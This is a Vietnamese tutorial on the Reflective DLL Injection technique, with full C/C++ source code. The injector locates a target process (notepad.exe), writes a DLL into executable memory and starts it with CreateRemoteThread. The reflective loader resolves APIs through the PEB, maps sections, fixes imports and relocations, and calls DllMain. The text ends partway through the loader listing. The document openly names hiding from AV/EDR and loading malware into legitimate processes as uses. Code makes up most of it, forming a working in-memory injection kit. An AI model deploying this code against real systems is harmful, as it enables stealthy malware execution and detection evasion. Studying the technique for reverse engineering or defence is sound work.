---
tags: [Technique]
---

# Reflective DLL Injection
## Lời nói đầu
* Trong bài viết trước, mình đã giới thiệu về kỹ thuật **[Classic DLL Injection](https://hackmd.io/jgmfy-wxRQW2v_gVBT5M-A?view)**. Nó khá đơn giản, dễ hiểu, dễ triển khai, tuy nhiên tồn tại nhiều điểm yếu và khó qua mặt được các **AV** do phụ thuộc vào **DLL** trên disk và **API** `LoadLibrary()`.
* **Reflective DLL Injection** sinh ra có thể được coi là biến thể nâng cao hơn hẳn so với **Classic DLL Injection**, khi nó chèn trực tiếp **DLL** nhận từ **C&C server** hoặc **DLL** có sẵn trên `resource section` vào **target process**. Tức là **DLL** tự nạp chính nó vào `process` mà không cần **Windows Loader**.
* Dù cải tiến hơn rất nhiều như vậy, nhưng **Reflective DLL Injection** lại khó thực hiện hơn, bởi vì khi ta không dùng **Windows Loader** thì bản chất con **DLL** lúc này là **Raw DLL** (**DLL** được nạp vào `memory` dưới dạng thô (`raw`) thay vì qua **Windows Loader**) nên các công việc như phân giải địa chỉ trong bảng **IAT**, **relocation**,... ta phải tự làm thay cho **Windows Loader**. Tức là ta phải tự code 1 con **Loader** hoàn chỉnh chèn trong **Raw DLL**.
* Điểm mấu chốt là trong **DLL** có chứa một hàm `ReflectiveLoader`. Khi được đưa vào bộ nhớ của **target process**, hàm này sẽ tự thực hiện công việc của **Windows Loader**: tìm `base address`, xử lý `relocation`, resolve `import table`, sau đó gọi **DllMain**.

## So sánh Classic DLL Injection và Reflective DLL Injection

| **Tiêu chí** | **Reflective DLL Injection** | **DLL Injection thông thường** |
|-------------------------|-----------------------------------------------------------------------------------------------|-----------------------------------------------------------------|
| **Cách thức hoạt động** | **DLL** tự nạp vào bộ nhớ tiến trình mà không cần sự trợ giúp của hệ điều hành | Hệ điều hành xử lý việc nạp **DLL** vào bộ nhớ |
| **API sử dụng** | `VirtualAlloc`, `WriteProcessMemory`, `CreateRemoteThread`,`Nt* APIs` | `LoadLibrary`, `GetProcAddress` |
| **Khả năng ẩn dấu** | Cao, do không ghi nhận trong danh sách **DLL** của tiến trình (`PEB->Ldr`) | Thấp, dễ bị phát hiện bởi các công cụ phân tích tiến trình |
| **Yêu cầu đặc biệt** | Cần có mã **Reflective Loader** trong **DLL** | Không yêu cầu |
| **Relocation** | Cần tự xử lý **Relocation Table** nếu cần | **Windows** tự động xử lý |
| **Xử lý Import Table** | Phải tự xử lý các import | **Windows** tự động xử lý |

## Ứng dụng của Reflective DLL Injection
### Ứng dụng hợp pháp
* **Debugging & Reverse Engineering**: Chèn mã vào tiến trình đang chạy để phân tích hành vi phần mềm hoặc mã độc.
* **Hooking API**: Theo dõi hoặc thay đổi hành vi **API** mà không cần chỉnh sửa file gốc.
* **Anti-Debugging**: Hỗ trợ kiểm tra tình trạng bị debug bằng cách dùng **API** như `CheckRemoteDebuggerPresent`.
### Ứng dụng trong khai thác
* **Malware & Rootkits**: Tải mã độc vào tiến trình hợp lệ, giúp né tránh phát hiện bởi **AV/EDR**.
* **Khai thác lỗ hổng**: Thực thi mã tùy chỉnh trên hệ thống mục tiêu mà không cần ghi ra disk → giảm dấu vết.
# Mô hình triển khai
* Mình có chuẩn bị 1 vài hình ảnh, mục đích là để mọi người có cái nhìn trực quan hơn về kỹ thuật.
* Cơ chế hoạt động của kỹ thuật **Reflective Dll Injection**:
* Mô hình **Injector**:
* Mô hình **Reflective Loader**:
# Các bước thực hiện kỹ thuật Reflective DLL Injection
## PE Injector
### 1. Theo dõi tiến trình đích (target process)
* **Injector** duyệt qua danh sách tiến trình đang chạy bằng `CreateToolhelp32Snapshot()` và `PROCESSENTRY32`.
* Khi tìm thấy tiến trình có tên trùng với `target` (ví dụ: `notepad.exe`), hàm `customGetProcID()` sẽ trả về `PID`.

DWORD customGetProcID(const wchar_t* name) {
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (!Process32FirstW(hSnap, &pe32)) {
        CloseHandle(hSnap);
        return 0;
    }
    do {
        if (!lstrcmpiW(pe32.szExeFile, name)) { 
            CloseHandle(hSnap);
            return pe32.th32ProcessID;
        }
    } while (Process32NextW(hSnap, &pe32));
    CloseHandle(hSnap);
    return 0;
}

### 2. Mở tiến trình đích và chuẩn bị vùng nhớ
* Sử dụng `OpenProcess()` với quyền cần thiết:

PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ

* Dùng `VirtualAllocEx()` để cấp phát bộ nhớ trong tiến trình target, với quyền **PAGE_EXECUTE_READWRITE** (cho phép ghi + thực thi).
* Sau đó, **injector** ghi dữ liệu **DLL** (hoặc `raw DLL`) vào vùng nhớ này bằng `WriteProcessMemory()`.

DWORD dwProcessId = customGetProcID(TARGET_BINARY);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE
| PROCESS_VM_READ, FALSE, dwProcessId);
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL,
fileLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

### 3. Xác định địa chỉ hàm ReflectiveLoader
* Để **DLL** có thể tự khởi tạo, **injector** cần tìm `offset` của hàm `ReflectiveLoader()` trong file **DLL**. Việc này dựa trên **Export Table** của **PE**:
* **Export Table** nằm trong **IMAGE_EXPORT_DIRECTORY**:
* Hàm `GetReflectiveLoaderOffset()` sẽ duyệt qua danh sách `export` (sử dụng `AddressOfNames`, `AddressOfFunctions`, `AddressOfNameOrdinals`) và so khớp tên hàm ``"ReflectiveLoader"``.
* Khi tìm thấy, ta lấy `RVA` rồi chuyển sang `offset` trong file bằng công thức:
* `VA = RVA + ImageBase`
* `Offset = RVA – VirtualAddress + PointerToRawData`

DWORD Rva2Offset(DWORD dwRVA, ULONG_PTR uiBaseAddress) {
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
    PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);

    for (WORD i = 0; i < pNtHdr->FileHeader.NumberOfSections; i++, pSectionHdr++) {
        DWORD sectVA  = pSectionHdr->VirtualAddress;
        DWORD sectSize = pSectionHdr->Misc.VirtualSize;
        if (dwRVA >= sectVA && dwRVA < (sectVA + sectSize)) {
            return dwRVA - sectVA + pSectionHdr->PointerToRawData;
        }
    }
    return 0;
}

DWORD GetReflectiveLoaderOffset(LPVOID lpReflectiveDllBuffer) {
    ULONG_PTR uiBaseAddress = (ULONG_PTR)lpReflectiveDllBuffer;

    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

    DWORD exportRVA  = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    ULONG_PTR uiExportDir = uiBaseAddress + Rva2Offset(exportRVA, uiBaseAddress);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)uiExportDir;

    DWORD* nameArray     = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNames, uiBaseAddress));
    DWORD* funcArray     = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfFunctions, uiBaseAddress));
    WORD*  ordinalsArray = (WORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNameOrdinals, uiBaseAddress));

    DWORD numNames = pExportDir->NumberOfNames;

    for (DWORD i = 0; i < numNames; i++) {
        char* funcName = (char*)(uiBaseAddress + Rva2Offset(nameArray[i], uiBaseAddress));

        if (strstr(funcName, "ReflectiveLoader") != NULL) {
            WORD funcIndex = ordinalsArray[i];
            DWORD reflectiveLoaderRVA = funcArray[funcIndex];
            return Rva2Offset(reflectiveLoaderRVA, uiBaseAddress);
        }
    }

    return 0;
}

* Do quá trình này khá phức tạp, một số kỹ thuật khác chọn cách `pattern matching` trực tiếp trong `raw DLL` để tìm **ReflectiveLoader** thay vì parse đầy đủ **Export Table**.

## Reflective Loader
* **ReflectiveLoader** có nhiệm vụ nạp **DLL** thô (`raw DLL`) sau khi được inject vào bộ nhớ của tiến trình đích. Khác với cách thông thường dùng `LoadLibrary()`, **ReflectiveLoader** thực hiện `manual loading`: tự xử lý **PE Header**, copy các `section`, phân giải **Import Address Table** (`IAT`) và áp dụng **Relocation** trước khi gọi **DllMain**.
* Đặc điểm quan trọng:
* Trong giai đoạn đầu, **ReflectiveLoader** được coi như `shellcode`: nó không thể phụ thuộc trực tiếp vào **IAT** hay **Relocation** vì các cấu trúc này chưa được khởi tạo.
* Do đó, mọi hàm cần thiết như `LoadLibrary()`, `VirtualAlloc()`, `GetProcAddress()`, … phải được resolve thủ công.
### 1. Tìm base address
* Bước đầu tiên của **ReflectiveLoader** là xác định `base address` của chính **DLL** đang được nạp.
* Bắt đầu từ một địa chỉ bất kỳ trong module (thường là `return address` từ `caller`).
* Duyệt ngược về trước trong bộ nhớ cho đến khi tìm thấy **DOS signature** (`MZ`).
* Từ đó, kiểm tra trường `e_lfanew` để lấy vị trí **NT Header**.
* Nếu **NT Header** hợp lệ (có `signature` `PE\0\0`), địa chỉ này chính là `base address` (`LibraryAddress`) cần tìm.

ULONG_PTR uiLibraryAddress = caller();
while (TRUE)
{
    if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
    {
        uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
        if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
        {
            uiHeaderValue += uiLibraryAddress;
            if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
                break;
        }
    }
    uiLibraryAddress--;
}

### 2. Resolve API
* **Loader** không thể dựa vào **IAT** nên phải tự lấy địa chỉ các **API**.
* **Bước 1**: Dùng `__readgsqword(0x60)` để lấy địa chỉ **PEB** thông qua **TEB**.

	ULONG_PTR uiBaseAddress = __readgsqword(0x60);
	LIST_ENTRY* moduleList = &((PEB*)(uiBaseAddress))->Ldr->InMemoryOrderModuleList;
	LIST_ENTRY* ptr = moduleList->Flink;

* **Bước 2**: Truy cập `PEB->Ldr->InMemoryOrderModuleList` để duyệt qua danh sách **DLL** đã load. So sánh tên để tìm `base address` của `kernel32.dll` và `ntdll.dll`.

	typedef struct _LDR_DATA_TABLE_ENTRY {
		PVOID Reserved1[2];
		LIST_ENTRY InMemoryOrderLinks;
		PVOID Reserved2[2];
		PVOID DllBase;
		PVOID EntryPoint;
		PVOID Reserved3;
		UNICODE_STRING FullDllName;
		BYTE Reserved4[8];
		PVOID Reserved5[3];
		union {
			ULONG CheckSum;
			PVOID Reserved6;
		};
		ULONG TimeDateStamp;
	} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

	while (ptr != moduleList && (uiModuleBaseKernel32 == NULL || uiModuleBaseNtdll == NULL))
	{
		LDR_DATA_TABLE_ENTRY* module = (LDR_DATA_TABLE_ENTRY*)ptr;
		wchar_t* moduleName = module->FullDllName.Buffer;
		if (moduleName && moduleName[0] == 'K' && moduleName[1] == 'E' && moduleName[2] == 'R' && moduleName[3] == 'N' &&
			moduleName[4] == 'E' && moduleName[5] == 'L' && moduleName[6] == '3' && moduleName[7] == '2' &&
			moduleName[8] == '.' && moduleName[9] == 'D' && moduleName[10] == 'L' && moduleName[11] == 'L')
			uiModuleBaseKernel32 = (HMODULE)(module->DllBase);
		else if (moduleName && moduleName[0] == 'n' && moduleName[1] == 't' && moduleName[2] == 'd' && moduleName[3] == 'l' &&
				 moduleName[4] == 'l' && moduleName[5] == '.' && moduleName[6] == 'd' && moduleName[7] == 'l' && moduleName[8] == 'l')
			uiModuleBaseNtdll = (HMODULE)(module->DllBase);
		ptr = ptr->Flink;
	}

* **Bước 3**: Với `base address` của **DLL**, đọc **Export Table** trong **PE header** để lấy danh sách tên hàm. Duyệt `export`, so sánh chuỗi để tìm địa chỉ của `VirtualAlloc`, `GetProcAddress`, `LoadLibraryA`.

	while (!ptrVirtualAlloc || !ptrGetProcAddress || !ptrLoadLibraryA)
	{
		IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)uiModuleBaseKernel32;
		IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)uiModuleBaseKernel32 + dosHeader->e_lfanew);
		IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)uiModuleBaseKernel32 +
			ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

		DWORD* nameArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNames);
		WORD* ordinalArray = (WORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNameOrdinals);
		DWORD* funcArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfFunctions);

		for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i)
		{
			char* funcName = (char*)((BYTE*)uiModuleBaseKernel32 + nameArray[i]);

			if (!ptrVirtualAlloc && funcName[0] == 'V' && funcName[1] == 'i' && funcName[2] == 'r' && funcName[3] == 't' &&
				funcName[4] == 'u' && funcName[5] == 'a' && funcName[6] == 'l' && funcName[7] == 'A' &&
				funcName[8] == 'l' && funcName[9] == 'l' && funcName[10] == 'o' && funcName[11] == 'c')
				ptrVirtualAlloc = (pVirtualAlloc)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));

			else if (!ptrGetProcAddress && funcName[0] == 'G' && funcName[1] == 'e' && funcName[2] == 't' &&
					 funcName[3] == 'P' && funcName[4] == 'r' && funcName[5] == 'o' && funcName[6] == 'c' &&
					 funcName[7] == 'A' && funcName[8] == 'd' && funcName[9] == 'd' && funcName[10] == 'r' &&
					 funcName[11] == 'e' && funcName[12] == 's' && funcName[13] == 's')
				ptrGetProcAddress = (pGetProcAddress)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));

			else if (!ptrLoadLibraryA && funcName[0] == 'L' && funcName[1] == 'o' && funcName[2] == 'a' &&
					 funcName[3] == 'd' && funcName[4] == 'L' && funcName[5] == 'i' && funcName[6] == 'b' &&
					 funcName[7] == 'r' && funcName[8] == 'a' && funcName[9] == 'r' && funcName[10] == 'y' && funcName[11] == 'A')
				ptrLoadLibraryA = (pLoadLibraryA)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
		}
	}

### 3. Cấp bộ nhớ và ánh xạ nội dung DLL
* **Bước 1**: Gọi `VirtualAlloc` để cấp phát phân vùng đủ chứa toàn bộ **DLL** với quyền đọc/ghi/thực thi.

uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiBaseAddress = (ULONG_PTR)ptrVirtualAlloc(
    NULL,
    ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
);

* **Bước 2**: Sao chép toàn bộ **PE Header** vào vùng nhớ vừa cấp.

ULONG_PTR uiSizeOfHeaders = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
ULONG_PTR uiCurPtrToRawDll = uiLibraryAddress;
ULONG_PTR uiNewPtrOfDll = uiBaseAddress;

while (uiSizeOfHeaders--)
    *(BYTE*)uiNewPtrOfDll++ = *(BYTE*)uiCurPtrToRawDll++;

* **Bước 3**: Lặp qua từng `section`, sao chép dữ liệu từ file sang đúng địa chỉ ảo (`VirtualAddress`) trong vùng nhớ. Mục đích nhằm bỏ qua một khoảng byte **NULL** tương
ứng với việc padding cho khớp với `section alignment`.

uiCurPtrToRawDll = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader +
    ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
WORD uiNumberOfSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;

while (uiNumberOfSections--)
{
    ULONG_PTR curPtrToVAddOfSection = (uiBaseAddress +
        ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->VirtualAddress);
    ULONG_PTR sectionRawData = uiLibraryAddress +
        ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->PointerToRawData;
    ULONG_PTR sizeOfCurSection = ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->SizeOfRawData;

    while (sizeOfCurSection--)
    {
        *(BYTE*)curPtrToVAddOfSection++ = *(BYTE*)sectionRawData++;
    }

    uiCurPtrToRawDll += sizeof(IMAGE_SECTION_HEADER);
}

### 4. Phân giải IAT
* Lấy địa chỉ `IMAGE_IMPORT_DESCRIPTOR` từ **Import Directory** trong **PE Header**.
* Với mỗi **DLL** trong **Import Table**, gọi `LoadLibraryA()` để nạp **DLL** cần thiết.
* Với mỗi hàm trong **DLL** đó, gọi `GetProcAddress()` để lấy địa chỉ.
* Ghi trực tiếp địa chỉ **API** vừa tìm được vào **IAT**.

PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor =
    (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress +
    ((PIMAGE_NT_HEADERS)uiHeaderValue)->
    OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

while (pImportDescriptor->Name)
{
    HMODULE hModule = ptrLoadLibraryA((LPCSTR)(uiBaseAddress + pImportDescriptor->Name));
    PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk);

    while (pThunk->u1.AddressOfData)
    {
        PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunk->u1.AddressOfData);
        FARPROC pFunc = ptrGetProcAddress(hModule, (LPCSTR)(pImportByName->Name));

        if (pFunc)
        {
            pThunk->u1.Function = (ULONGLONG)pFunc;
        }

        pThunk++;
    }

    pImportDescriptor++;
}


### 5. Relocation
* **Relocation Table** chứa danh sách địa chỉ trong **DLL** cần chỉnh sửa nếu **DLL** không được load đúng tại địa chỉ mặc định (`ImageBase`). Khi **DLL** được load ở `base address` mới, giá trị này được relocation theo công thức:

NewVirtualAddress = OldVirtualAddress + (NewImageBase − PreferredBase)

* Cách làm:
* Lấy **Base Relocation Table** trong **PE header**.
* Duyệt qua từng block `relocation`.
* Với mỗi `entry`, kiểm tra kiểu (`IMAGE_REL_BASED_DIR64`, `HIGHLOW`, `HIGH`, `LOW`).
* Chỉnh sửa địa chỉ tương ứng bằng chênh lệch giữa `uiBaseAddress` và `ImageBase` gốc.

PIMAGE_DATA_DIRECTORY baseRelocAddress =
(PIMAGE_DATA_DIRECTORY)&((PIMAGE_NT_HEADERS)uiHeaderValue)->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

if (baseRelocAddress->Size)
{
    PIMAGE_BASE_RELOCATION vaBaseRelocTable =
    (PIMAGE_BASE_RELOCATION)(uiBaseAddress + baseRelocAddress->
    VirtualAddress);
    while (vaBaseRelocTable->SizeOfBlock)
    {
        ULONG_PTR vaCurRelocBlock = uiBaseAddress +
        vaBaseRelocTable->VirtualAddress;

        PIMAGE_RELOCATION RelocBlock =
        (PIMAGE_RELOCATION)((ULONG_PTR)vaBaseRelocTable +
        sizeof(IMAGE_BASE_RELOCATION));

        for (DWORD i = 0; i < vaBaseRelocTable->SizeOfBlock -
        sizeof(IMAGE_BASE_RELOCATION) / sizeof(DWORD); i++)
        {
            if (RelocBlock->Type == IMAGE_REL_BASED_DIR64)
                *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
                VirtualAddress) += uiBaseAddress -
                ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

            else if (RelocBlock->Type ==
            IMAGE_REL_BASED_HIGHLOW)
                *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
                VirtualAddress) += uiBaseAddress -
                ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

            else if (RelocBlock->Type == IMAGE_REL_BASED_HIGH)
                *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
                VirtualAddress) += uiBaseAddress -
                ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

            else if (RelocBlock->Type == IMAGE_REL_BASED_LOW)
                *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
                VirtualAddress) += uiBaseAddress -
                ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

            RelocBlock += 1;
        }
        vaBaseRelocTable = vaBaseRelocTable + vaBaseRelocTable->
        SizeOfBlock;
    }
}

### 6. Thực thi DllMain
* Sau khi nạp **DLL**, cần thực thi **DllMain** tại địa chỉ `entry point`. Địa chỉ này lấy từ trường `AddressOfEntryPoint` trong `OptionalHeader`.
* Trước khi gọi **DllMain**, phải gọi `NtFlushInstructionCache` để đồng bộ hóa cache **CPU** với bộ nhớ, đảm bảo các thay đổi trong vùng bộ nhớ thực thi được cập nhật đầy đủ.

ptrNtFlushInstructionCache((HANDLE)-1, NULL, 0);
ULONG_PTR dllMain = uiBaseAddress + ((PIMAGE_NT_HEADERS)
uiHeaderValue)->OptionalHeader.AddressOfEntryPoint;
((DLLMAIN)dllMain)((HINSTANCE)uiBaseAddress,
DLL_PROCESS_ATTACH, NULL);

## Full code...
### PE Injector

#include <windows.h>
#include <tlhelp32.h>
#include <string>

DWORD customGetProcID(const wchar_t* name) {
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (!Process32FirstW(hSnap, &pe32)) {
        CloseHandle(hSnap);
        return 0;
    }
    do {
        if (!lstrcmpiW(pe32.szExeFile, name)) {
            CloseHandle(hSnap);
            return pe32.th32ProcessID;
        }
    } while (Process32NextW(hSnap, &pe32));
    CloseHandle(hSnap);
    return 0;
}

DWORD Rva2Offset(DWORD dwRVA, ULONG_PTR uiBaseAddress) {
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
    PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
    for (WORD i = 0; i < pNtHdr->FileHeader.NumberOfSections; i++, pSectionHdr++) {
        DWORD sectVA = pSectionHdr->VirtualAddress;
        DWORD sectSize = pSectionHdr->Misc.VirtualSize;
        if (dwRVA >= sectVA && dwRVA < (sectVA + sectSize)) {
            return dwRVA - sectVA + pSectionHdr->PointerToRawData;
        }
    }
    return 0;
}

DWORD GetReflectiveLoaderOffset(LPVOID lpReflectiveDllBuffer) {
    ULONG_PTR uiBaseAddress = (ULONG_PTR)lpReflectiveDllBuffer;
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
    DWORD exportRVA = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    ULONG_PTR uiExportDir = uiBaseAddress + Rva2Offset(exportRVA, uiBaseAddress);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)uiExportDir;
    DWORD* nameArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNames, uiBaseAddress));
    DWORD* funcArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfFunctions, uiBaseAddress));
    WORD* ordinalsArray = (WORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNameOrdinals, uiBaseAddress));
    DWORD numNames = pExportDir->NumberOfNames;
    for (DWORD i = 0; i < numNames; i++) {
        char* funcName = (char*)(uiBaseAddress + Rva2Offset(nameArray[i], uiBaseAddress));
        if (strstr(funcName, "ReflectiveLoader") != NULL) {
            WORD funcIndex = ordinalsArray[i];
            DWORD reflectiveLoaderRVA = funcArray[funcIndex];
            return Rva2Offset(reflectiveLoaderRVA, uiBaseAddress);
        }
    }
    return 0;
}

int main() {
    const wchar_t* TARGET_BINARY = L"notepad.exe";
    HANDLE hFile = CreateFileW(L"ReflectiveLoader.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    DWORD fileLength = GetFileSize(hFile, NULL);
    LPVOID lpFileBuffer = HeapAlloc(GetProcessHeap(), 0, fileLength);
    DWORD bytesRead;
    ReadFile(hFile, lpFileBuffer, fileLength, &bytesRead, NULL);
    CloseHandle(hFile);

    DWORD dwProcessId = customGetProcID(TARGET_BINARY);
    if (!dwProcessId) {
        MessageBoxA(NULL, "Process not found!", "Error", MB_OK);
        return 1;
    }

    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
    LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, fileLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpFileBuffer, fileLength, NULL);

    DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpFileBuffer);
    LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpRemoteLibraryBuffer, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    char buf[512];
    char targetName[260];
    wcstombs_s(NULL, targetName, TARGET_BINARY, _TRUNCATE);
    sprintf_s(buf, "Injection complete!\n\nTarget Process: %s\n\nTarget PID: %lu", targetName, dwProcessId);
    MessageBoxA(NULL, buf, "Information", MB_OK);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    HeapFree(GetProcessHeap(), 0, lpFileBuffer);
    return 0;
}

* Để compile thì mở `x64 Native Tools Command Prompt for VS 2022` hoặc `x86 Native Tools Command Prompt for VS 2022` tùy mục đích phiên bản, đến đúng đường dẫn và
`cl /nologo /O2 injector.cpp /Fe:injector.exe user32.lib` nhaaa.
### Reflective Loader

#include <Windows.h>
#include <intrin.h>
#pragma intrinsic(_ReturnAddress)

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA {
    BYTE       Reserved1[8];
    PVOID      Reserved2[3];
    LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    PPEB_LDR_DATA Ldr;
} PEB, * PPEB;

typedef struct _IMAGE_RELOC {
    USHORT Offset : 12;
    USHORT Type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;

typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);
typedef BOOL(WINAPI* pNtFlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);

extern "C" __declspec(dllexport) void ReflectiveLoader()
{
    ULONG_PTR uiLibraryAddress, uiHeaderValue, uiBaseAddress;
    pVirtualAlloc ptrVirtualAlloc = NULL;
    pGetProcAddress ptrGetProcAddress = NULL;
    pLoadLibraryA ptrLoadLibraryA = NULL;
    pNtFlushInstructionCache ptrNtFlushInstructionCache = NULL;

    uiLibraryAddress = (ULONG_PTR)_ReturnAddress();
    while (TRUE)
    {
        if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
        {
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
            {
                uiHeaderValue += uiLibraryAddress;
                if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
                    break;
            }
        }
        uiLibraryAddress--;
    }

    ULONG_PTR uiPeb = __readgsqword(0x60);
    LIST_ENTRY* moduleList = &((PEB*)uiPeb)->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* ptr = moduleList->Flink;
    HMODULE uiModuleBaseKernel32 = NULL, uiModuleBaseNtdll = NULL;

    typedef struct _LDR_DATA_TABLE_ENTRY {
        PVOID Reserved1[2];
        LIST_ENTRY InMemoryOrderLinks;
        PVOID Reserved2[2];
        PVOID DllBase;
        PVOID EntryPoint;
        PVOID Reserved3;
        UNICODE_STRING FullDllName;
